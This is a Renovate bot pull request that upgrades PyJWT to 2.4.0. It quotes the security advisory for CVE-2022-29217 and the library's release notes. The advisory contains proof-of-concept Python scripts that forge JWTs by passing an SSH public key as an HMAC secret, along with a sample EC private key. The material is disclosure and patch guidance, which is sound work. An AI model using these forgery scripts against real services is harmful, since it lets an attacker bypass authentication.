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Update dependency PyJWT to v2 [SECURITY]#90

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Update dependency PyJWT to v2 [SECURITY]#90
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renovate/pypi-pyjwt-vulnerability

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@renovate renovate Bot commented Aug 6, 2024 •
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This PR contains the following updates:

Package Change Age Confidence
PyJWT ==1.5.3 → ==2.4.0 age confidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

Key confusion through non-blocklisted public key formats

CVE-2022-29217 / GHSA-ffqj-6fqr-9h24

More information

Details

Impact

What kind of vulnerability is it? Who is impacted?

Disclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation).

PyJWT supports multiple different JWT signing algorithms. With JWT, an
attacker submitting the JWT token can choose the used signing algorithm.

The PyJWT library requires that the application chooses what algorithms
are supported. The application can specify
"jwt.algorithms.get_default_algorithms()" to get support for all
algorithms. They can also specify a single one of them (which is the
usual use case if calling jwt.decode directly. However, if calling
jwt.decode in a helper function, all algorithms might be enabled.)

For example, if the user chooses "none" algorithm and the JWT checker
supports that, there will be no signature checking. This is a common
security issue with some JWT implementations.

PyJWT combats this by requiring that the if the "none" algorithm is
used, the key has to be empty. As the key is given by the application
running the checker, attacker cannot force "none" cipher to be used.

Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is
not a public key meant for asymmetric algorithm i.e. HMAC cannot be used
if the key begins with "ssh-rsa". If HMAC is used with a public key, the
attacker can just use the publicly known public key to sign the token
and the checker would use the same key to verify.

From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm.
With ed25519, PyJWT supports public keys that start with "ssh-", for
example "ssh-ed25519".

import jwt
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import ed25519

##### Generate ed25519 private key
private_key = ed25519.Ed25519PrivateKey.generate()

##### Get private key bytes as they would be stored in a file
priv_key_bytes = 
private_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8, 
encryption_algorithm=serialization.NoEncryption())

##### Get public key bytes as they would be stored in a file
pub_key_bytes = 
private_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH)

##### Making a good jwt token that should work by signing it with the 
private key
encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="EdDSA")

##### Using HMAC with the public key to trick the receiver to think that the 
public key is a HMAC secret
encoded_bad = jwt.encode({"test": 1234}, pub_key_bytes, algorithm="HS256")

##### Both of the jwt tokens are validated as valid
decoded_good = jwt.decode(encoded_good, pub_key_bytes, 
algorithms=jwt.algorithms.get_default_algorithms())
decoded_bad = jwt.decode(encoded_bad, pub_key_bytes, 
algorithms=jwt.algorithms.get_default_algorithms())

if decoded_good == decoded_bad:
     print("POC Successfull")

##### Of course the receiver should specify ed25519 algorithm to be used if 
they specify ed25519 public key. However, if other algorithms are used, 
the POC does not work

##### HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py
#

#        invalid_strings = [
#            b"-----BEGIN PUBLIC KEY-----",

#            b"-----BEGIN CERTIFICATE-----",
#            b"-----BEGIN RSA PUBLIC KEY-----",

#            b"ssh-rsa",
#        ]

#
##### However, OKPAlgorithm (ed25519) accepts the following in 
jwt/algorithms.py:

#
#                if "-----BEGIN PUBLIC" in str_key:

#                    return load_pem_public_key(key)
#                if "-----BEGIN PRIVATE" in str_key:

#                    return load_pem_private_key(key, password=None)
#                if str_key[0:4] == "ssh-":

#                    return load_ssh_public_key(key)
#

##### These should most likely made to match each other to prevent this behavior
import jwt

#openssl ecparam -genkey -name prime256v1 -noout -out ec256-key-priv.pem

#openssl ec -in ec256-key-priv.pem -pubout > ec256-key-pub.pem
#ssh-keygen -y -f ec256-key-priv.pem > ec256-key-ssh.pub

priv_key_bytes = b"""-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIOWc7RbaNswMtNtc+n6WZDlUblMr2FBPo79fcGXsJlGQoAoGCCqGSM49
AwEHoUQDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKk
Ak3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==
-----END EC PRIVATE KEY-----"""

pub_key_bytes = b"""-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElcy2RSSSgn2RA/xCGko79N+7FwoL
Zr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==
-----END PUBLIC KEY-----"""

ssh_key_bytes = b"""ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXMtkUkkoJ9kQP8QhpKO/TfuxcKC2a92dIo/xDY6MNl6VA8MChCpAJN0w1wvVPJ4qTJRnGO7A6V6dl8oRxDPkc="""

##### Making a good jwt token that should work by signing it with the private key
encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="ES256")

##### Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secret
encoded_bad = jwt.encode({"test": 1234}, ssh_key_bytes, algorithm="HS256")

##### Both of the jwt tokens are validated as valid
decoded_good = jwt.decode(encoded_good, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())
decoded_bad = jwt.decode(encoded_bad, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())

if decoded_good == decoded_bad:
    print("POC Successfull")
else:
    print("POC Failed")

The issue is not that big as
algorithms=jwt.algorithms.get_default_algorithms() has to be used.
However, with quick googling, this seems to be used in some cases at
least in some minor projects.

Patches

Users should upgrade to v2.4.0.

Workarounds

Always be explicit with the algorithms that are accepted and expected when decoding.

References

Are there any links users can visit to find out more?

For more information

If you have any questions or comments about this advisory:

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

jpadilla/pyjwt (PyJWT)

v2.4.0

Compare Source

Changed


- Skip keys with incompatible alg when loading JWKSet by @&#8203;DaGuich in `#&#8203;762 <https://github.com/jpadilla/pyjwt/pull/762>`__
- Remove support for python3.6 by @&#8203;sirosen in `#&#8203;777 <https://github.com/jpadilla/pyjwt/pull/777>`__
- Emit a deprecation warning for unsupported kwargs by @&#8203;sirosen in `#&#8203;776 <https://github.com/jpadilla/pyjwt/pull/776>`__
- Remove redundant wheel dep from pyproject.toml by @&#8203;mgorny in `#&#8203;765 <https://github.com/jpadilla/pyjwt/pull/765>`__
- Do not fail when an unusable key occurs by @&#8203;DaGuich in `#&#8203;762 <https://github.com/jpadilla/pyjwt/pull/762>`__
- Update audience typing by @&#8203;JulianMaurin in `#&#8203;782 <https://github.com/jpadilla/pyjwt/pull/782>`__
- Improve PyJWKSet error accuracy by @&#8203;JulianMaurin in `#&#8203;786 <https://github.com/jpadilla/pyjwt/pull/786>`__
- Mypy as pre-commit check + api_jws typing by @&#8203;JulianMaurin in `#&#8203;787 <https://github.com/jpadilla/pyjwt/pull/787>`__

Fixed
~~~~~

- Adjust expected exceptions in option merging tests for PyPy3 by @&#8203;mgorny in `#&#8203;763 <https://github.com/jpadilla/pyjwt/pull/763>`__
- Fixes for pyright on strict mode by @&#8203;brandon-leapyear in `#&#8203;747 <https://github.com/jpadilla/pyjwt/pull/747>`__
- docs: fix simple typo, iinstance -> isinstance by @&#8203;timgates42 in `#&#8203;774 <https://github.com/jpadilla/pyjwt/pull/774>`__
- Fix typo: priot -> prior by @&#8203;jdufresne in `#&#8203;780 <https://github.com/jpadilla/pyjwt/pull/780>`__
- Fix for headers disorder issue by @&#8203;kadabusha in `#&#8203;721 <https://github.com/jpadilla/pyjwt/pull/721>`__

Added
~~~~~

- Add to_jwk static method to ECAlgorithm by @&#8203;leonsmith in `#&#8203;732 <https://github.com/jpadilla/pyjwt/pull/732>`__
- Expose get_algorithm_by_name as new method by @&#8203;sirosen in `#&#8203;773 <https://github.com/jpadilla/pyjwt/pull/773>`__
- Add type hints to jwt/help.py and add missing types dependency by @&#8203;kkirsche in `#&#8203;784 <https://github.com/jpadilla/pyjwt/pull/784>`__
- Add cacheing functionality for JWK set by @&#8203;wuhaoyujerry in `#&#8203;781 <https://github.com/jpadilla/pyjwt/pull/781>`__

v2.3.0

Compare Source

Security


- [CVE-2022-29217] Prevent key confusion through non-blocklisted public key formats. https://github.com/jpadilla/pyjwt/security/advisories/GHSA-ffqj-6fqr-9h24

Changed
~~~~~~~

- Explicit check the key for ECAlgorithm by @&#8203;estin in https://github.com/jpadilla/pyjwt/pull/713
- Raise DeprecationWarning for jwt.decode(verify=...) by @&#8203;akx in https://github.com/jpadilla/pyjwt/pull/742

Fixed
~~~~~

- Don't use implicit optionals by @&#8203;rekyungmin in https://github.com/jpadilla/pyjwt/pull/705
- documentation fix: show correct scope for decode_complete() by @&#8203;sseering in https://github.com/jpadilla/pyjwt/pull/661
- fix: Update copyright information by @&#8203;kkirsche in https://github.com/jpadilla/pyjwt/pull/729
- Don't mutate options dictionary in .decode_complete() by @&#8203;akx in https://github.com/jpadilla/pyjwt/pull/743

Added
~~~~~

- Add support for Python 3.10 by @&#8203;hugovk in https://github.com/jpadilla/pyjwt/pull/699
- api_jwk: Add PyJWKSet.__getitem__ by @&#8203;woodruffw in https://github.com/jpadilla/pyjwt/pull/725
- Update usage.rst by @&#8203;guneybilen in https://github.com/jpadilla/pyjwt/pull/727
- Docs: mention performance reasons for reusing RSAPrivateKey when encoding by @&#8203;dmahr1 in https://github.com/jpadilla/pyjwt/pull/734
- Fixed typo in usage.rst by @&#8203;israelabraham in https://github.com/jpadilla/pyjwt/pull/738
- Add detached payload support for JWS encoding and decoding by @&#8203;fviard in https://github.com/jpadilla/pyjwt/pull/723
- Replace various string interpolations with f-strings by @&#8203;akx in https://github.com/jpadilla/pyjwt/pull/744
- Update CHANGELOG.rst by @&#8203;hipertracker in https://github.com/jpadilla/pyjwt/pull/751

v2.2.0

Compare Source

Fixed


- Revert "Remove arbitrary kwargs." `#&#8203;701 <https://github.com/jpadilla/pyjwt/pull/701>`__

Added
  • Add exception chaining #&#8203;702 <https://github.com/jpadilla/pyjwt/pull/702>__

v2.1.0

Compare Source

Changed


- Remove arbitrary kwargs. `#&#8203;657 <https://github.com/jpadilla/pyjwt/pull/657>`__
- Use timezone package as Python 3.5+ is required. `#&#8203;694 <https://github.com/jpadilla/pyjwt/pull/694>`__

Fixed
~~~~~
- Assume JWK without the "use" claim is valid for signing as per RFC7517 `#&#8203;668 <https://github.com/jpadilla/pyjwt/pull/668>`__
- Prefer `headers["alg"]` to `algorithm` in `jwt.encode()`. `#&#8203;673 <https://github.com/jpadilla/pyjwt/pull/673>`__
- Fix aud validation to support {'aud': null} case. `#&#8203;670 <https://github.com/jpadilla/pyjwt/pull/670>`__
- Make `typ` optional in JWT to be compliant with RFC7519. `#&#8203;644 <https://github.com/jpadilla/pyjwt/pull/644>`__
-  Remove upper bound on cryptography version. `#&#8203;693 <https://github.com/jpadilla/pyjwt/pull/693>`__

Added
~~~~~

- Add support for Ed448/EdDSA. `#&#8203;675 <https://github.com/jpadilla/pyjwt/pull/675>`__

v2.0.1

Compare Source

Changed


- Allow claims validation without making JWT signature validation mandatory. `#&#8203;608 <https://github.com/jpadilla/pyjwt/pull/608>`__

Fixed
~~~~~

- Remove padding from JWK test data. `#&#8203;628 <https://github.com/jpadilla/pyjwt/pull/628>`__
- Make `kty` mandatory in JWK to be compliant with RFC7517. `#&#8203;624 <https://github.com/jpadilla/pyjwt/pull/624>`__
- Allow JWK without `alg` to be compliant with RFC7517. `#&#8203;624 <https://github.com/jpadilla/pyjwt/pull/624>`__
- Allow to verify with private key on ECAlgorithm, as well as on Ed25519Algorithm. `#&#8203;645 <https://github.com/jpadilla/pyjwt/pull/645>`__

Added
~~~~~

- Add caching by default to PyJWKClient `#&#8203;611 <https://github.com/jpadilla/pyjwt/pull/611>`__
- Add missing exceptions.InvalidKeyError to jwt module __init__ imports `#&#8203;620 <https://github.com/jpadilla/pyjwt/pull/620>`__
- Add support for ES256K algorithm `#&#8203;629 <https://github.com/jpadilla/pyjwt/pull/629>`__
- Add `from_jwk()` to Ed25519Algorithm `#&#8203;621 <https://github.com/jpadilla/pyjwt/pull/621>`__
- Add `to_jwk()` to Ed25519Algorithm `#&#8203;643 <https://github.com/jpadilla/pyjwt/pull/643>`__
- Export `PyJWK` and `PyJWKSet` `#&#8203;652 <https://github.com/jpadilla/pyjwt/pull/652>`__

v2.0.0

Compare Source

Changed


- Rename CHANGELOG.md to CHANGELOG.rst and include in docs `#&#8203;597 <https://github.com/jpadilla/pyjwt/pull/597>`__

Fixed
~~~~~

- Fix `from_jwk()` for all algorithms `#&#8203;598 <https://github.com/jpadilla/pyjwt/pull/598>`__

Added
~~~~~

v1.7.1

Compare Source

Changed


Drop support for Python 2 and Python 3.0-3.5
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Python 3.5 is EOL so we decide to drop its support. Version ``1.7.1`` is
the last one supporting Python 3.0-3.5.

Require cryptography >= 3
^^^^^^^^^^^^^^^^^^^^^^^^^

Drop support for PyCrypto and ECDSA
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

We've kept this around for a long time, mostly for environments that
didn't allow installing cryptography.

Drop CLI
^^^^^^^^

Dropped the included cli entry point.

Improve typings
^^^^^^^^^^^^^^^

We no longer need to use mypy Python 2 compatibility mode (comments)

``jwt.encode(...)`` return type
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Tokens are returned as string instead of a byte string

Dropped deprecated errors
^^^^^^^^^^^^^^^^^^^^^^^^^

Removed ``ExpiredSignature``, ``InvalidAudience``, and
``InvalidIssuer``. Use ``ExpiredSignatureError``,
``InvalidAudienceError``, and ``InvalidIssuerError`` instead.

Dropped deprecated ``verify_expiration`` param in ``jwt.decode(...)``
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Use
``jwt.decode(encoded, key, algorithms=["HS256"], options={"verify_exp": False})``
instead.

Dropped deprecated ``verify`` param in ``jwt.decode(...)``
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Use ``jwt.decode(encoded, key, options={"verify_signature": False})``
instead.

Require explicit ``algorithms`` in ``jwt.decode(...)`` by default
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Example: ``jwt.decode(encoded, key, algorithms=["HS256"])``.

Dropped deprecated ``require_*`` options in ``jwt.decode(...)``
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

For example, instead of
``jwt.decode(encoded, key, algorithms=["HS256"], options={"require_exp": True})``,
use
``jwt.decode(encoded, key, algorithms=["HS256"], options={"require": ["exp"]})``.

And the old v1.x syntax
``jwt.decode(token, verify=False)``
is now:
``jwt.decode(jwt=token, key='secret', algorithms=['HS256'], options={"verify_signature": False})``

Added
~~~~~

Introduce better experience for JWKs
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Introduce ``PyJWK``, ``PyJWKSet``, and ``PyJWKClient``.

.. code:: python

    import jwt
    from jwt import PyJWKClient

    token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Ik5FRTFRVVJCT1RNNE16STVSa0ZETlRZeE9UVTFNRGcyT0Rnd1EwVXpNVGsxUWpZeVJrUkZRdyJ9.eyJpc3MiOiJodHRwczovL2Rldi04N2V2eDlydS5hdXRoMC5jb20vIiwic3ViIjoiYVc0Q2NhNzl4UmVMV1V6MGFFMkg2a0QwTzNjWEJWdENAY2xpZW50cyIsImF1ZCI6Imh0dHBzOi8vZXhwZW5zZXMtYXBpIiwiaWF0IjoxNTcyMDA2OTU0LCJleHAiOjE1NzIwMDY5NjQsImF6cCI6ImFXNENjYTc5eFJlTFdVejBhRTJINmtEME8zY1hCVnRDIiwiZ3R5IjoiY2xpZW50LWNyZWRlbnRpYWxzIn0.PUxE7xn52aTCohGiWoSdMBZGiYAHwE5FYie0Y1qUT68IHSTXwXVd6hn02HTah6epvHHVKA2FqcFZ4GGv5VTHEvYpeggiiZMgbxFrmTEY0csL6VNkX1eaJGcuehwQCRBKRLL3zKmA5IKGy5GeUnIbpPHLHDxr-GXvgFzsdsyWlVQvPX2xjeaQ217r2PtxDeqjlf66UYl6oY6AqNS8DH3iryCvIfCcybRZkc_hdy-6ZMoKT6Piijvk_aXdm7-QQqKJFHLuEqrVSOuBqqiNfVrG27QzAPuPOxvfXTVLXL2jek5meH6n-VWgrBdoMFH93QEszEDowDAEhQPHVs0xj7SIzA"
    kid = "NEE1QURBOTM4MzI5RkFDNTYxOTU1MDg2ODgwQ0UzMTk1QjYyRkRFQw"
    url = "https://dev-87evx9ru.auth0.com/.well-known/jwks.json"

    jwks_client = PyJWKClient(url)
    signing_key = jwks_client.get_signing_key_from_jwt(token)

    data = jwt.decode(
        token,
        signing_key.key,
        algorithms=["RS256"],
        audience="https://expenses-api",
        options={"verify_exp": False},
    )
    print(data)

Support for JWKs containing ECDSA keys
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Add support for Ed25519 / EdDSA
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Pull Requests

v1.7.0

Compare Source

Fixed


-  Update test dependencies with pinned ranges
-  Fix pytest deprecation warnings

v1.6.4

Compare Source

Fixed


-  Reverse an unintentional breaking API change to .decode()
   `#&#8203;352 <https://github.com/jpadilla/pyjwt/pull/352>`__

`v1.6.3 <https://github.com/jpadilla/pyjwt/compare/1.6.1...1.6.3>`__
--------------------------------------------------------------------

Changed
  • All exceptions inherit from PyJWTError
    #&#8203;340 <https://github.com/jpadilla/pyjwt/pull/340>__

Added


-  Add type hints `#&#8203;344 <https://github.com/jpadilla/pyjwt/pull/344>`__
-  Add help module
   `7ca41e <https://github.com/jpadilla/pyjwt/commit/7ca41e53b3d7d9f5cd31bdd8a2b832d192006239>`__

Docs
~~~~

-  Added section to usage docs for jwt.get\_unverified\_header()
   `#&#8203;350 <https://github.com/jpadilla/pyjwt/pull/350>`__
-  Update legacy instructions for using pycrypto
   `#&#8203;337 <https://github.com/jpadilla/pyjwt/pull/337>`__

`v1.6.1 <https://github.com/jpadilla/pyjwt/compare/1.6.0...1.6.1>`__
--------------------------------------------------------------------

Fixed
  • Audience parameter throws InvalidAudienceError when application
    does not specify an audience, but the token does.
    #&#8203;336 <https://github.com/jpadilla/pyjwt/pull/336>__

v1.6.3

Compare Source

Fixed


-  Reverse an unintentional breaking API change to .decode()
   `#&#8203;352 <https://github.com/jpadilla/pyjwt/pull/352>`__

`v1.6.3 <https://github.com/jpadilla/pyjwt/compare/1.6.1...1.6.3>`__
--------------------------------------------------------------------

Changed
  • All exceptions inherit from PyJWTError
    #&#8203;340 <https://github.com/jpadilla/pyjwt/pull/340>__

Added


-  Add type hints `#&#8203;344 <https://github.com/jpadilla/pyjwt/pull/344>`__
-  Add help module
   `7ca41e <https://github.com/jpadilla/pyjwt/commit/7ca41e53b3d7d9f5cd31bdd8a2b832d192006239>`__

Docs
~~~~

-  Added section to usage docs for jwt.get\_unverified\_header()
   `#&#8203;350 <https://github.com/jpadilla/pyjwt/pull/350>`__
-  Update legacy instructions for using pycrypto
   `#&#8203;337 <https://github.com/jpadilla/pyjwt/pull/337>`__

`v1.6.1 <https://github.com/jpadilla/pyjwt/compare/1.6.0...1.6.1>`__
--------------------------------------------------------------------

Fixed
  • Audience parameter throws InvalidAudienceError when application
    does not specify an audience, but the token does.
    #&#8203;336 <https://github.com/jpadilla/pyjwt/pull/336>__

v1.6.1

Compare Source

Fixed
  • Audience parameter throws InvalidAudienceError when application does not specify an audience, but the token does. #​336

v1.6.0

Compare Source

Changed


-  Dropped support for python 2.6 and 3.3
   `#&#8203;301 <https://github.com/jpadilla/pyjwt/pull/301>`__
-  An invalid signature now raises an ``InvalidSignatureError`` instead
   of ``DecodeError``
   `#&#8203;316 <https://github.com/jpadilla/pyjwt/pull/316>`__

Fixed
~~~~~

-  Fix over-eager fallback to stdin
   `#&#8203;304 <https://github.com/jpadilla/pyjwt/pull/304>`__

Added
~~~~~

-  Audience parameter now supports iterables
   `#&#8203;306 <https://github.com/jpadilla/pyjwt/pull/306>`__

`v1.5.3 <https://github.com/jpadilla/pyjwt/compare/1.5.2...1.5.3>`__
--------------------------------------------------------------------

Changed
  • Increase required version of the cryptography package to >=1.4.0.

Fixed


-  Remove uses of deprecated functions from the cryptography package.
-  Warn about missing ``algorithms`` param to ``decode()`` only when
   ``verify`` param is ``True``
   `#&#8203;281 <https://github.com/jpadilla/pyjwt/pull/281>`__

`v1.5.2 <https://github.com/jpadilla/pyjwt/compare/1.5.1...1.5.2>`__
--------------------------------------------------------------------

Fixed
  • Ensure correct arguments order in decode super call
    7c1e61d <https://github.com/jpadilla/pyjwt/commit/7c1e61dde27bafe16e7d1bb6e35199e778962742>__

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@renovate renovate Bot changed the title Update dependency PyJWT to v2 [SECURITY] Update dependency PyJWT to v2 [SECURITY] - autoclosed Mar 27, 2026
@renovate renovate Bot closed this Mar 27, 2026
@renovate renovate Bot deleted the renovate/pypi-pyjwt-vulnerability branch March 27, 2026 01:42
@renovate renovate Bot changed the title Update dependency PyJWT to v2 [SECURITY] - autoclosed Update dependency PyJWT to v2 [SECURITY] Mar 30, 2026
@renovate renovate Bot reopened this Mar 30, 2026
@renovate renovate Bot force-pushed the renovate/pypi-pyjwt-vulnerability branch 2 times, most recently from 4c4ad0f to 3f16239 Compare March 30, 2026 21:05
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